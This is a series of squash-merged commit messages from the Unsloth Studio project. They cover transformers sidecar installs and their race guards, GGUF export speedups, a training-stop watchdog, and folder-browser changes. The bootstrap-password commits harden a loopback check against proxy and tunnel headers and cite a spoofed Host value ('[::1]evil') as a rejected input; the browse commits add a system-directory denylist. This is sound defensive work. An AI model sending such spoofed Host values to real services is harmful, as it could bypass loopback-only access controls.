state, and resumes the original load automatically on success. Errors
surface in the dialog with a retry; Cancel aborts the load like the
trust dialog's deny path. Architectures shipped only on transformers
main get a dev-only notice with no install button. Background auto-load
skips upgrade-requiring candidates instead of prompting, mirroring the
trust_remote_code rule. The dialog mounts once in the root layout and
runs before the security dialogs, since no load can proceed without the
runtime.
* Route a non-installable new architecture to the custom-code consent as a last resort
When the upgrade dialog has no installable PyPI release (the architecture
is only on transformers main, which Studio never installs), the dialog now
says so explicitly, and when the model also declares custom (auto_map)
code it offers Continue with custom code: resolving the paused load into
the existing trust_remote_code consent gate instead of hard-aborting.
Models with no custom code keep the Cancel-only notice. The backend
returns no upgrade signal at all for architectures unknown to both PyPI
and main, so those still route straight to the unchanged security gate.
* Force a 16-bit load for models on the latest-transformers sidecar
Live validation with Zyphra/ZAYA1-8B (model_type zaya, shipped by
transformers 5.13.1 but unknown to every installed tier) surfaced a
generation crash when the consented sidecar load kept the default bnb
4-bit quantization: transformers' grouped-MoE kernels feed the packed
uint8 expert weights straight into torch._grouped_mm, and generation
dies (plain 16-bit works). New latest_tier_active_for() mirrors the
sidecar activation's tier resolution and never raises; the inference
worker flips load_in_4bit off when it reports true, and the load route
applies the same flip so the pre-load VRAM guard and the worker command
agree. Fixed tiers are untouched. With the guard, ZAYA1-8B loads and
generates correctly in Studio chat.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Offer the custom-code fallback when a latest-sidecar install fails
* Fail remote mapping fetches wholesale and mirror the 16-bit flip in validate
A transient fetch or parse failure of one auto-mapping file no longer caches
a partial latest-release map for the TTL (a real 404 on pre-5.10 tags is
still tolerated), and validate_model now applies the same latest-sidecar
16-bit sizing flip as /load before the training guard so the two agree.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in the latest-transformers changes
* Resolve remote LoRA bases, fold nested tiers, and guard the sidecar swap
latest_tier_active_for now resolves a remote adapter's base model the same
way worker pre-activation does (and returns early without a sidecar pin), a
hardcoded fast-path tier is raised when a nested sub-config's model_type
needs a higher sidecar, and the install route refuses to swap .venv_t5_latest
while training runs on it and unloads a latest-tier chat model first.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the sidecar install on worker liveness and size installable upgrades 16-bit
The install route now refuses while any training or export runs (tier
re-resolution without the load token is unreliable for gated repos), holds
the inference lifecycle gate across the unload and the swap so no load can
interleave, and passes the model name to unload_model. validate_model runs
the upgrade check before the training guard and sizes an installable
upgrade as 16-bit, matching what /load and the worker will force after the
consented install.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close the sidecar install races and honor the kill switch over cached mappings
Training starts and mutating export routes now refuse while a transformers
install is in progress (shared is_install_in_progress flag), the chat unload
and idle export-worker teardown moved into a before_swap hook that runs only
once the staged install succeeded, and _config_model_types checks the kill
switch before returning a cached latest mapping.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reserve the sidecar swap before the gate wait and abort it on failed teardown
The install-in-progress flag moved into a shared sidecar swap reservation in
transformers_version, taken by the install route before awaiting the
inference lifecycle gate (so training and export starts see it for the whole
window) and by the lazy .venv_t5_latest repair path. The before_swap hook
now raises when the chat unload or export teardown reports failure, leaving
the previous sidecar untouched.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Back the sidecar swap reservation with a cross-process lock file
The lazy repair runs inside worker subprocesses, where a module-level flag
is invisible to the parent's route checks. The reservation now also creates
a lock file next to .venv_t5_latest (O_EXCL, owner-only removal, stale after
two hours for crashed owners), so is_install_in_progress sees a repair from
any Studio process.
* Hand the swap reservation to the installer thread and harden pre-swap teardown
A cancelled install request no longer releases the reservation while the
installer thread is still staging (the thread owns and releases it, shielded
from cancellation). The route refuses while another inference request is
generating, export teardown runs before the chat unload and is judged by
worker liveness rather than the cleanup return value, and a live inference
worker with no active model (failed load residue) is shut down before the
swap.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the lifecycle gate with the installer and recheck the swap at spawn time
The gate moved into the shielded install task so a cancelled POST cannot
release the guard /load honors while the installer still runs, cached latest
probe results are ignored while the kill switch is set, and the training and
export subprocess spawns recheck the sidecar swap reservation right before
spawning (the route-level guards are one-shot and validation can outlast an
install's start).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close the spawn-registration windows against the sidecar install
Training marks the spawn in progress before its reservation recheck and
is_training_active honors the flag, so the install route sees a start that
has passed proc.start() but not yet recorded _proc. Export load-checkpoint
rechecks the reservation after setting _export_active and before tearing
down the old worker, so losing the race keeps the loaded checkpoint instead
of surfacing a 500.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Refine the install-window interleavings around worker teardown
The inference busy count is rechecked under the lifecycle gate (streams
start by taking that gate, so nothing slips past a held gate), the training
handshake moved ahead of the VRAM-freeing before_spawn hook so a lost race
leaves chat/export intact, the export spawn-time check is op-aware (inside
an active op the install is the side that aborts), and the Xet-stall respawn
waits out a transient reservation instead of stranding the run.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Track the install's server-side unload and guard export ops against the swap
The upgrade dialog store records when its install actually ran (the server
unloads the active chat model before swapping), and the load flow then marks
the previous model as unloaded so a later cancelled gate still triggers
rollback; the custom-code fallback leaves the flag unset. _run_export gained
the same reservation handshake as load_checkpoint so an install cannot block
behind an hours-long export op instead of returning 409.
* Tighten comments in the install-guard and upgrade-consent changes
* Surface install-race refusals cleanly and roll back after a failed swap unload
/load refuses while the sidecar swap is reserved so a load cannot succeed
and immediately be unloaded by the pre-swap teardown, worker starts that
lose the install race raise a typed SidecarSwapInProgress mapped to 409
instead of a 500, the install response reports model_unloaded even on a
structured failure so the client can restore its state, and the compare
flow tracks the server-side unload like the primary load path and clears a
stale checkpoint on abort.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Type the export install races, scope the lock release, and keep the unload signal
Export load-checkpoint and export ops raise SidecarSwapInProgress (mapped to
409 in every export route) instead of a 400-shaped failure, the export spawn
check distinguishes repair reservations (always refused) from install ones
(op-aware), the swap lock release only unlinks a lock this process wrote so
a stale-superseded owner cannot drop the new owner's live lock, and the
frontend unload signal survives a superseding consent via read-and-clear
consumption instead of a reset.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Finalize a stalled run when the respawn loses the install race and latch the unload signal
The Xet-stall respawn timeout now finalizes the run as a failure instead of
raising into the pump's broad finalization catch (which stranded it in a
training state with no worker), and a successful install retry ORs the
model_unloaded signal with the latched value so a failed-after-unload first
attempt still triggers rollback.
* Recheck the swap under the load gate and latch the unload before resolver checks
/load rechecks the sidecar reservation after acquiring the lifecycle gate
(an install can reserve while the load queues on it), and the dialog store
latches model_unloaded as soon as the install response arrives, before any
resolver-identity guard, so a superseded consent's unload still reaches
whichever load consumes the signal next.
* Report cleared-state unload failures, guard queued installs, and fold name tiers
A failed chat unload that still cleared the orchestrator's model state now
reports model_unloaded so the client rolls back, the installer aborts with
a 409 when a model load completed while it waited on the lifecycle gate,
and the fixed-tier name fast path consults the config mapping when a latest
sidecar is pinned so an accepted upgrade routes to the sidecar it installed
(no I/O added to the unpinned path).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Report cleared-state unload failures and harden the spawn handshake flag
The failed-unload branch in before_swap now detects that the orchestrator
cleared its model state and reports model_unloaded before aborting (the
earlier commit claimed this fix but a scripting error dropped the edit),
the installer's queued-load check compares a load generation counter so a
same-model reload is caught, and both training spawn sites wrap everything
after the handshake in a guard that resets _spawn_in_progress on any
exception so a failed start cannot wedge is_training_active.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Bump the load generation when the load is published, not at load start
A start-time bump is already visible when the installer snapshots mid-load,
so a same-model reload completing after the snapshot looked unchanged and
could be unloaded by the swap. The counter now increments alongside the
active_model_name publish.
* Self-heal a broken pinned sidecar, guard lazy repairs, and refresh stale retries
A valid pin whose transformers source dir vanished now triggers the repair
from the routing path (with a five minute backoff after failures) instead of
silently routing latest-only models to older tiers, the lazy repair refuses
while parent-visible chat/training/export workers are active since it has no
teardown of its own, and a version-mismatch install failure carries the
superseding release so the dialog's Retry re-requests a version that can
succeed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Flip latest-tier loads to 16-bit outside chat and protect export state
Training and export workers now apply the same latest-sidecar 16-bit flip
as the chat worker so a brand-new grouped-MoE architecture cannot reach bnb
4-bit through those paths, the latest-tier vision override returns None on
an inconclusive probe so a transient failure is not cached as not-vision,
and the install route refuses while an idle export checkpoint is loaded
rather than discard it with no rollback signal on a failed swap.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address parallel-review findings on the sidecar guards and install checks
The training route sizes latest-tier jobs 16-bit before GPU selection, the
inference subprocess spawn rechecks the swap reservation like training and
export (covering the OpenAI auto-switch path) with the typed error mapped
to a retryable 409, compat_plan blocks the install when dependency metadata
cannot be fetched instead of proceeding unverified, snapshot model-type
lists must contain only strings, and pin-marker package specs are validated
against the sidecar's own package set before ever reaching pip.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Parent-only repairs, live-owner locks, remote-base activation, pre-teardown recheck
Lazy sidecar repairs now refuse inside worker children (whose empty backend
singletons cannot see live siblings) and run only in the parent where the
active-worker guard is real, swap-lock staleness requires the owner pid to
be dead so a slow live install is never superseded, both activation entry
points resolve a remote adapter's base model like the inference worker and
latest_tier_active_for already do, and load_model rechecks the reservation
before tearing down the old worker so losing the race keeps the current
model loaded.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Check workers under the repair reservation and keep state on refused swaps
The lazy repair now reserves first and checks workers under the reservation
(worker starts set their active markers before rechecking, so every
interleaving aborts one side), with export ops and in-flight inference loads
counted as active. The inference pre-teardown and spawn guards refuse only
repair reservations since an install shares the load's lifecycle gate and
aborts via its queued-load snapshot, a SidecarSwapInProgress raised before
teardown no longer clears the live model mirrors, and an export spawn abort
after teardown clears current_checkpoint so the page cannot claim a loaded
checkpoint with no worker.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Repair a present-but-incomplete latest sidecar from routing
The routing self-heal only fired when the pinned sidecar's transformers/
dir was missing. A sidecar that kept transformers/ but lost another pinned
package still routed models to the latest tier, and workers refuse
parent-only repairs, so every load failed until a manual reinstall. Routing
now validates the full pin (via _venv_dir_is_valid) and repairs any
incomplete sidecar under the same swap reservation and 5-minute backoff.
* Treat an unrepaired latest sidecar as unavailable in routing
When the pinned sidecar is incomplete and the lazy repair fails (offline,
pip failure, workers active) or is inside the backoff window, routing
returned the source dir anyway, sending models to a tier whose worker
activation is known to fail. Return None instead so models an older tier
supports keep loading there until a repair succeeds, matching the behavior
when the sidecar dir is missing entirely.
* Harden sidecar swap and repair against crash, survivor, and 16-bit paths
Reclaim a swap lock as soon as its recorded owner PID is dead instead of
waiting out the two-hour cutoff, so a crash mid-install no longer wedges
/load, training, export, and repair for hours. A lock whose PID cannot be
read yet still uses the long cutoff so the create-before-write window is
never mistaken for dead.
Probe process liveness with OpenProcess on Windows: os.kill(pid, 0) there
is CTRL_C_EVENT (a real Ctrl+C via GenerateConsoleCtrlEvent), not a
harmless check, and psutil is not always present.
Return whether _shutdown_subprocess actually killed the worker and keep the
live handle when it survives terminate/kill (an uninterruptible CUDA
syscall can outlive SIGKILL). The pre-swap liveness guard now trusts that
result, so the destructive .venv_t5_latest rename cannot proceed while a
live worker still holds sidecar modules.
Recover a sidecar stranded at .old when a swap's activation rename and its
rollback both fail: reading the pin restores it when no swap holds the
reservation, so latest-tier models are not permanently broken.
Resolve the latest tier in the parent for export loads and for explicitly
16-bit training runs, not only 4-bit ones: tier resolution self-heals an
incomplete sidecar, and repairs are parent-only, so those paths could not
recover before. Sidecar integrity and quantization are independent.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Revert the parent-side latest-tier repair probe on training and export loads
The probe ran before the route freed VRAM, so a resident chat or export worker
made _workers_active_for_repair() refuse the parent-only repair; the route then
tore that worker down and spawned a child that also cannot repair, so an
incomplete sidecar still failed to load. Repairing correctly requires running the
repair between the worker teardown and the child spawn, decoupled from VRAM
sizing, which is a larger change tracked separately. Restore the prior behavior
so these paths match the reviewed form and do not partially attempt a repair that
cannot complete while workers are resident.
* Honor failed worker shutdowns on load and revalidate the cached latest mapping
The fresh-load paths spawned a new worker straight after _shutdown_subprocess
without checking its result, so a worker that outlived terminate/kill (a wedged
CUDA syscall) had its handle overwritten by the replacement while it still held
GPU memory, and is_worker_alive/the pre-swap guard could no longer see it. Both
the inference load and the export checkpoint load now abort when the old worker
did not exit, so the load can be retried once it does.
_config_model_types returned a cached latest mapping without re-checking the
sidecar, so a sidecar deleted or broken in-process after its first parse was
never re-validated: routing kept sending latest-only models to the stale latest
tier while activation failed. The cached latest mapping is now dropped and
re-resolved (self-healing) when the sidecar is no longer intact.
* Drop cached latest mapping when the pin is gone; keep 4-bit for custom-code fallback
_latest_sidecar_intact now returns False when the pin marker itself is gone, not
just when a pinned package is missing. Otherwise a cached latest mapping outlived
a deleted pin: _config_model_types kept returning it, so routing sent latest-only
models to a tier whose worker activation then failed (no pinned version) until
restart. It now drops the cache and re-resolves to no latest tier. The
_overlay_transformers_dir caller already gates on a present pin, so it is
unaffected.
validate_model forced 16-bit sizing whenever a PyPI upgrade was merely offered,
even for a model that can fall back to its own auto_map code. /load loads such a
model 4-bit without the install, and the install route refuses while training is
active, so 16-bit sizing here returned a VRAM 409 for the only viable 4-bit path.
The offered-upgrade flip is now gated on the absence of a custom-code fallback;
an already-active latest sidecar still always sizes 16-bit.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Single-pass GGUF export for direct outtypes + parallel multi-quant
save_to_gguf defaulted first_conversion to model_dtype before the block
that picks the optimal base conversion, leaving that block dead since it
landed (#3356). Every default export (fast_quantized -> q8_0) therefore
ran two passes: convert HF -> 16-bit GGUF, then llama-quantize -> q8_0,
writing a 2x-size intermediate that the cleanup step deletes again.
- Route single-output exports whose type convert_hf_to_gguf.py emits
directly (f32/f16/bf16/q8_0) through one conversion pass with no
16-bit intermediate. Measured on Qwen2.5-0.5B-Instruct (8-core CPU):
bytes written 1525 MB -> 531 MB (2.9x less), peak extra disk 994 MB
-> 0, wall time neutral on local NVMe (14.8s vs 15.4s). The dequantized
q8_0 tensors are bit-identical to the two-pass output (max diff 0 over
all 290 tensors, same quant-type table). On disk-capped runtimes
(Kaggle 20 GB, Colab) the removed intermediate is the difference
between an export that fits and one that dies - see the Kaggle error
text this file already carries. imatrix runs keep the two-pass route
since only llama-quantize can apply one; explicit first_conversion is
still honored.
- Run independent llama-quantize passes two at a time when several
quant methods are requested (thread budget split between workers,
outputs byte-identical, order preserved). Measured 1.38x wall-clock
on q4_k_m+q5_k_m+q6_k. Sequential under UNSLOTH_ENABLE_LOGGING=1 to
keep subprocess logs readable; kill switch
UNSLOTH_PARALLEL_GGUF_QUANTS=0. Duplicate methods now quantize once.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard parallel GGUF quant on Kaggle and make multi-quant failures atomic
Each llama-quantize pass loads the whole model into RAM, so running two at once on Kaggle can OOM a host that succeeded sequentially; skip the parallel path there. On a failed multi-quant export, stop launching queued passes and remove orphaned quant outputs so a failure leaves no partial GGUFs behind, keeping the 16-bit base for retry. Also accept 0/false/no/off/empty for UNSLOTH_PARALLEL_GGUF_QUANTS so a well-meant 'false' actually disables parallelism, and add tests/saving/test_gguf_single_pass_export.py to the CI saving bucket so the new tests run.
* Preserve pre-existing outputs for canceled quant passes on failure
The parallel cleanup unlinked every requested output name, so a failed rerun could delete a valid model.<METHOD>.gguf left by an earlier successful export for a method whose pass was canceled and never ran this session. Skip canceled futures and only remove outputs from passes that actually executed.
* Gate parallel GGUF quant on available memory and preserve prior outputs
Skip the two-worker path when RAM cannot hold two full-model quantizations at once (and on Colab as well as Kaggle), so a multi-quant export that fit sequentially no longer OOMs. On failure, remove only outputs this run newly created, tracked against a pre-launch snapshot, so a rerun into an existing _gguf directory never deletes a valid artifact from an earlier export.
---------
Co-authored-by: djs <dschroers2@gmail.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
* Studio: scope the seeded bootstrap password auto-fill to loopback clients
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: block bootstrap injection through Cloudflare tunnels
* Studio: require loopback host for bootstrap injection
* Studio: add regression test for unparseable Host in bootstrap loopback gate
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope bootstrap auto-fill to a direct-loopback client (block proxy/tunnel headers and malformed Host)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reject scope-id addresses in loopback check (fail closed on ::1%zone Host)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reject malformed bracketed Host in loopback check (e.g. [::1]evil)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <23090290+danielhanchen@users.noreply.github.com>
* fix: replace bare except clauses and remove duplicate MAX_FUSED_SIZE definition
* Also catch NameError in mllama RMSNorm patch/unpatch fallbacks
If mllama exists but MllamaTextRMSNorm is missing, the module-level import
fails so Unsloth_MllamaTextRMSNorm/MllamaTextRMSNorm stay undefined. The
patch/unpatch module imports then succeed and reference the undefined name,
raising NameError. Add NameError so these fallbacks stay no-ops as before.
---------
Co-authored-by: lxcxjxhx <lxcxjxhx@users.noreply.github.com>
Co-authored-by: Daniel Han <23090290+danielhanchen@users.noreply.github.com>
* fix(studio): recover mlx vlm image prompts
* fix(studio): detect serialized vlm media items
* studio: recover MLX VLM prompts when model_type only lives on _config
_mlx_vlm_model_config only fell back to _config when config was entirely
missing, so a model that exposes a config without a model_type (while _config
carries it) skipped model-aware recovery. Prefer whichever of config / _config
actually has a model_type. Adds a focused test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: force-terminate a stuck training stop after a grace period
A Stop-with-save only signals the worker and waits for it to save and exit;
force_terminate() was reachable only from the /reset cancel path. On Windows +
ROCm the worker saves the adapter fine but then wedges in post-save GPU/HIP
teardown and never exits, so the run stays in "Stopping..." forever, is_training
stays true, and /reset returns 409.
Add a stop watchdog: when a stop is requested, a daemon escalates to
force_terminate() a short grace after the worker's "complete" (save done), or
after an absolute cap covering a hang during save. After escalation the parent
state is finalized (is_training=False, "Training stopped.") even if the OS never
reaps the wedged worker, so the UI leaves "Stopping..." and a new run can start.
No behavior change on a clean quick exit. Grace and timeout are configurable via
UNSLOTH_STUDIO_TRAINING_STOP_GRACE_S (15) and
UNSLOTH_STUDIO_TRAINING_STOP_TIMEOUT_S (120).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden the training stop watchdog per review
Address review feedback so a stop can never corrupt a checkpoint or leave the
run stuck:
- Never force-kill an in-progress save. The absolute cap is now a last-resort
backstop: raise the save default to 600s and only kill past that long window;
a not-yet-complete save is not treated as a hang. Cancels have nothing to save,
so they keep a shorter 120s cap via UNSLOTH_STUDIO_TRAINING_CANCEL_TIMEOUT_S.
The save vs cancel path is now explicit and the backstop logs a clear warning.
- Always finalize even if force_terminate raises on a wedged child (try/finally),
so the watchdog never dies leaving the run in "Stopping...".
- Preserve output_dir when the watchdog finalizes so a saved checkpoint is still
recorded in run history.
- Track the watched process per watchdog: a new run always gets its own watcher,
and a stale watchdog on an old proc no longer suppresses it.
- Terminate only the captured proc; force_terminate revalidates under the lock
that it is still the current worker, so it can never kill a fresh run.
- Name the watchdog thread for debuggability.
* studio: tighten training-stop watchdog comments
Comment-only pass: collapse the watchdog docstrings and inline notes to fewer
lines while keeping the rationale. No behavior change.
* Studio: make the stop watchdog safe against concurrent runs and the pump
Target-scope the escalation finalize so a stale watchdog can never clobber a
run that replaced its worker: capture the watched proc and job id, and no-op
the finalize (handle, progress, and DB) when a new run has already taken over.
Honor a later cancel by tightening an in-flight save watchdog to the shorter
cancel cap. Serialize the DB helpers on the lock so the watchdog and pump can
no longer double-create, double-finalize, or corrupt the metric buffer when a
force-terminate hands off to a still-finalizing pump.
Add regression tests: finalize no-ops when superseded, finalize runs for its
own worker, a later cancel tightens the cap, finalize is single-winner under
concurrency, finalize honors expected_job_id, and concurrent flushes claim
each metric exactly once.
* Studio: close the remaining stop-watchdog vs start/pump races
Guard the escalation finalize by the watched job id in addition to the proc:
start_training sets current_job_id before it installs the new _proc, so a stale
watchdog entering during that startup window still sees the old dead handle and
was not caught by the proc-only guard. Capture the job id when the watchdog
starts and require it to still match before touching state.
Snapshot the run id and final progress under the finalize lock and thread them
through the flush and finish_run calls, so a new run that starts between the
finalize claim and the DB writes cannot be flushed or marked stopped under the
old run's finalizer.
Publish _db_run_created only after create_run commits, gated by a dedicated
in-progress flag, so a concurrent finalize can no longer run finish_run against
a not-yet-inserted row and leave the run stuck as running.
Add regression tests for the startup-window job-id guard, run-id pinned flush,
snapshot-based finalize across a new run, and create-not-published-before-insert.
* Studio: finalize a force-stopped run by its captured id
If a new run starts in the gap after the watchdog clears _proc and marks the
backend idle, current_job_id changes, so the previous expected_job_id guard made
the finalize skip and left the stopped run recorded as running. Capture the run
id, metrics, and final progress under the lock (where current_job_id is still the
watched run) and finalize by that captured id via _finish_stopped_run: finish_run
is an idempotent UPDATE and insert_metrics_batch upserts, so a concurrent pump
finalize of the same run is harmless and a newly started run is never touched.
Add a test that the watched run is finalized by id with its buffered metrics, and
update the escalation tests to assert finalize goes through _finish_stopped_run.
* Studio: keep force-stop finalization retryable and unclaimed until the row exists
Only claim _run_finalized in the escalation when the DB row already exists; if an
early create failed and the pump is retrying it, claiming would make the pump's
later finalize no-op and strand the row as running, so leave the finalize to that
create-then-finalize path.
On a DB error in _finish_stopped_run (e.g. a transient SQLite lock), unclaim the
finalize and requeue the drained metrics when the run is still current, so the
pump or a later retry can still record the run stopped instead of leaving history
with an active run and lost metrics. A superseded run's state is never touched.
Add tests: no claim before the row exists, requeue+unclaim on a DB error, and a
superseded run left untouched on error.
* Studio: tighten stop-watchdog comments
Reduce the wording of the docstrings and inline comments added by this PR without
dropping any of the concurrency invariants (dual proc/job-id supersession guard,
finalize-by-captured-id, publish-after-commit, snapshot-under-lock, unclaim and
requeue on error). Comments and docstrings only; no code change.
* Studio: record the stopped run's DB state before dropping _proc
A wedged worker still reports alive, so the pump never reaches its own finalize
and bails on its _proc-is-None guard once the escalation drops the handle. So the
watchdog is the sole finalizer: record the terminal DB state (create the row if a
start-time create failed, then finish by captured id) BEFORE dropping _proc. While
the handle is held is_training_active() stays true, so no new run can start and
current_job_id stays the watched run for the write; _proc is dropped last, guarded
on target_proc so a run that did replace the worker keeps its handle.
_finish_stopped_run retries a transient DB error a few times (the pump can no
longer retry once _proc is gone) and unclaims on final failure only when the run
is still current. Add tests for create-then-finalize, retry-then-unclaim, and not
dropping a new run's handle.
* Studio: job-guard the DB create flags against a racing new run
_ensure_db_run_created publishes backend-wide _db_run_created and
_db_create_in_progress flags. When the watchdog creates a missing row for an
escalated stop, the killed worker lets a new /start proceed mid-create, so the
stale create could publish those flags against the new current_job_id, making the
new run skip inserting its own row (metric/finalize then target a missing run).
Publish the flags only when the captured job id is still current; the row is still
created by id, and the new run owns/creates its own. Also reset
_db_create_in_progress in start_training so a stale claim can't block a new run.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio CI: make tool-calling SSE probes resilient to transport stalls
* Studio CI: bound tool-probe SSE stalls to the job timeout and stop accepting partial tool events
* Studio CI: surface HTTP errors from the seed loop and bound the Mac best-effort probes
* Studio CI: keep completed tool results on a stall and cap seed reads by the remaining budget
* Studio: expose Windows drive roots in the folder browser
The model-selection folder browser bounds navigation to the roots returned
by _build_browse_allowlist(), which exposed Linux removable-media mounts via
linux_run_media_mount_roots() but had no Windows analog. As a result a user
on C: could not browse to D:/E: to pick a model directory.
Add windows_drive_roots(), a Windows-only companion to
linux_run_media_mount_roots() that lists readable logical drive roots, and
wire it into both browse-allowlist builders and their suggestion chips so
other drives are both navigable and offered as quick-picks. The helper is a
no-op on Linux/macOS, so existing platforms are unaffected.
Closes#6368
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: cover the Windows drive-root browse wiring with an integration test
Add an allowlist integration test mirroring the Linux side's
test_legacy_browse_allowlist_includes_linux_run_media_mounts: it extracts
_build_browse_allowlist from routes/models.py, stubs external_media so
windows_drive_roots() yields a fake drive root, and asserts that root becomes
browsable through the built allowlist. Proves the wiring, not just the helper.
* Studio: skip inactive drives via GetLogicalDrives before probing
Resolve active logical drives from GetLogicalDrives() before probing each
letter with os.path.isdir. Probing a drive letter mapped to a disconnected
network share can otherwise block the async backend for tens of seconds per
letter. The call degrades gracefully (falls back to probing all letters) when
ctypes/windll is unavailable, so behavior is unchanged on Linux/macOS. Tests
override the bitmask source to stay deterministic on real Windows hosts.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: allow browsing descendants of a drive-root allowlist entry
routes/models.py _is_path_inside_allowlist() checked descendants with
startswith(root_real + os.sep). A drive root ("D:\") already ends in a
separator, so the prefix became "D:\\" and a child like "D:\models" was
rejected with 403 after the browser opened the drive root. Only append a
separator when the root does not already end in one. folder_browser.py already
uses commonpath and was unaffected. Adds a regression test covering the
separator-terminated-root descendant case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: enforce the system-directory denylist during folder browsing
Exposing whole Windows drive roots (and any legacy-registered filesystem root)
widened the browse allowlist above system directories, but the browse
resolvers only re-applied the credential/config denylist, not the
_denied_path_prefixes() system-dir denylist that scan-folder registration
enforces. That let browse-folders enumerate C:\Windows, C:\Program Files,
/etc and /proc.
- Add is_denied_system_path() to both storage modules and enforce it in both
browse resolvers (legacy routes/models.py and hub folder_browser.py), on each
resolved child and on the final target, keeping the /run/media carve-out.
- Rework the legacy _is_path_inside_allowlist to use splitdrive + commonpath so
a Windows drive root authorizes its descendants while a bare POSIX / does not,
and to compare case-insensitively like the hub browser.
- Reject the filesystem root in the legacy add_scan_folder, matching the hub.
- Hide denied system dirs from browse listings and suggestion chips.
- Add tests/test_browse_denylist.py and update the external-media path tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make browse-denylist tests OS-portable
The browse-time denylist tests used real /etc and tmp_path locations; on macOS
tmp lives under the (legitimately denied) /private/var and /etc resolves to
/private/etc, so three tests failed there. Pin the platform / use a tmp-based
denied prefix so they assert the same behavior on Linux, macOS and Windows.
* Studio: apply the bare POSIX-root guard to the hub folder browser too
The _is_path_inside_allowlist guard that stops a legacy-registered '/' scan
folder from authorizing every absolute path lived only in the legacy browser.
The hub browser used commonpath without it, so a stale '/' row let it descend
into /var, /root, /home -- which the system-directory denylist (/proc /sys /dev
/etc /boot /run) does not cover, while the legacy browser blocked them. Mirror
the legacy guard so both browsers treat '/' identically.
Also resolve each directory entry before the denylist check in both listing
loops, so a symlink or junction pointing into a denied dir is hidden instead of
rendered as a row that 403s on descent. Adds legacy-vs-hub parity tests.
* Studio: bound Windows drive probing so a disconnected mapping can't stall the browser
GetLogicalDrives includes mapped network drives, so a disconnected but still
mapped drive (e.g. Z: -> \\nas\share) stays set in the bitmask and reaches
os.path.isdir, which can block for tens of seconds while Windows tries to
reconnect. Because windows_drive_roots() runs synchronously while building both
folder-browser responses, one stale mapping stalled every browse request.
Probe each surviving drive in a daemon thread bounded by a short timeout and
skip it if it does not answer in time, so a hung mapping is dropped instead of
blocking the caller. Connected drives (local or network) still respond well
within the timeout, so drive discovery is unchanged. Corrects the
GetLogicalDrives docstring, which claimed the bitmask alone prevented the stall.
* Studio: probe drive/media roots once per browse request, not twice
Both folder browsers called windows_drive_roots() (and
linux_run_media_mount_roots()) twice per browse request: once to seed the
allowlist in _build_browse_allowlist() and again to build the suggestion chips.
With the bounded drive probe, a disconnected mapped network drive then paid the
timeout twice per folder click. Probe both once in the request handler and pass
the results into _build_browse_allowlist(), reusing them for the chips, in both
the legacy and hub browsers. Adds a test asserting the roots are reused, not
re-probed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: run the legacy browse endpoint in the threadpool, fix its stale test
Two follow-ups from review of the drive-probe changes:
- browse_folders was 'async def' but does only blocking filesystem I/O (the
timeout-bounded drive probe, iterdir, realpath). On the event loop a
